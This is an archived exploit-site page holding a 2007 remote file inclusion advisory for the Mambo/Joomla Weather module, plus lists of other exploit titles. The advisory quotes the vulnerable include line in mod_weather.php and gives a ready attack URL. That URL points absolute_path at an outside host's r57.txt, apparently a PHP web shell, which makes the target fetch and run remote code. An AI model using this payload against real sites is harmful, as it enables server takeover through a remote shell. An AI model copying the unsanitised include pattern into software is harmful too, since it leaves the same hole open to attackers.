exploits , vulnerabilities , articles , Mambo Module Weather (absolute

2007-04-15 Mambo/Joomla Component Article 1.1 Remote File Inclusion Vulnerability
2007-04-12 Mambo Module Calendar (Agenda) 1.5.5 RFI Vulnerability
2007-04-12 TOSMO/Mambo 1.4.13a (absolute_path) Remote File Inclusion Vulns
2007-04-12 Mambo Component zOOm Media Gallery <= 2.5 Beta 2 RFI Vulnerabilities
2007-04-11 Joomla/Mambo Component Taskhopper 1.1 RFI Vulnerabilities

2007-04-12

Mambo Module Weather (absolute_path) RFI Vulnerability

Rated as : High Risk

============================================================
Mambo/Joomla Module Weather (absolute_path) Remote File include Vuln
============================================================
Found By : Cold z3ro , Cold-z3ro@Hotmail.com
============================================================
Homepage: www.Hack-Teach.com
============================================================
Script :
http://www.joomlaos.de/option,com_remository/Itemid,41/func,download/id,47/chk,a39037e15bb5cd125f3cfd9dccaec6f5/no_html,1.html
============================================================
File : /mod_weather.php
include($absolute_path.'/language/'.$lang.'/lang_mod_weather.php');
============================================================
http://site/{path}/modules/mod_weather.php?absolute_path=http://nachrichtenmann.de/r57.txt?
============================================================


#Long Life Palestine
#www.Hack-Teach.com
securitydot.net - 2007-04-12

Exploits - newest 10 RSS | More

2007-06-15 56364 Hits XOOPS Module Cjay Content 3 Remote File Inclusion Vulnerability
2007-06-15 33559 Hits XOOPS Module XT-Conteudo (spaw_root) RFI Vulnerability
2007-06-15 41735 Hits XOOPS Module XFsection (modify.php) Remote File Inclusion Vulnerability
2007-06-15 28878 Hits Microsoft Office MSODataSourceControl COM-object BoF PoC (0day)
2007-06-13 19388 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (xp sp2)
2007-06-13 16402 Hits Microsoft Speech API ActiveX control Remote BoF Exploit (win2k sp4)
2007-06-13 19051 Hits Safari 3 for Windows Beta Remote Command Execution PoC
2007-06-13 16274 Hits Ace-FTP Client 1.24a Remote Buffer Overflow PoC
2007-06-09 33148 Hits MoviePlay 4.76 .lst File Local Buffer Overflow Exploit
2007-06-09 16928 Hits e-Vision CMS <= 2.02 SQL Injection/Remote Code Execution Exploit

exploits , vulnerabilities , articles , Mambo Module Weather (absolute_path) RFI Vulnerability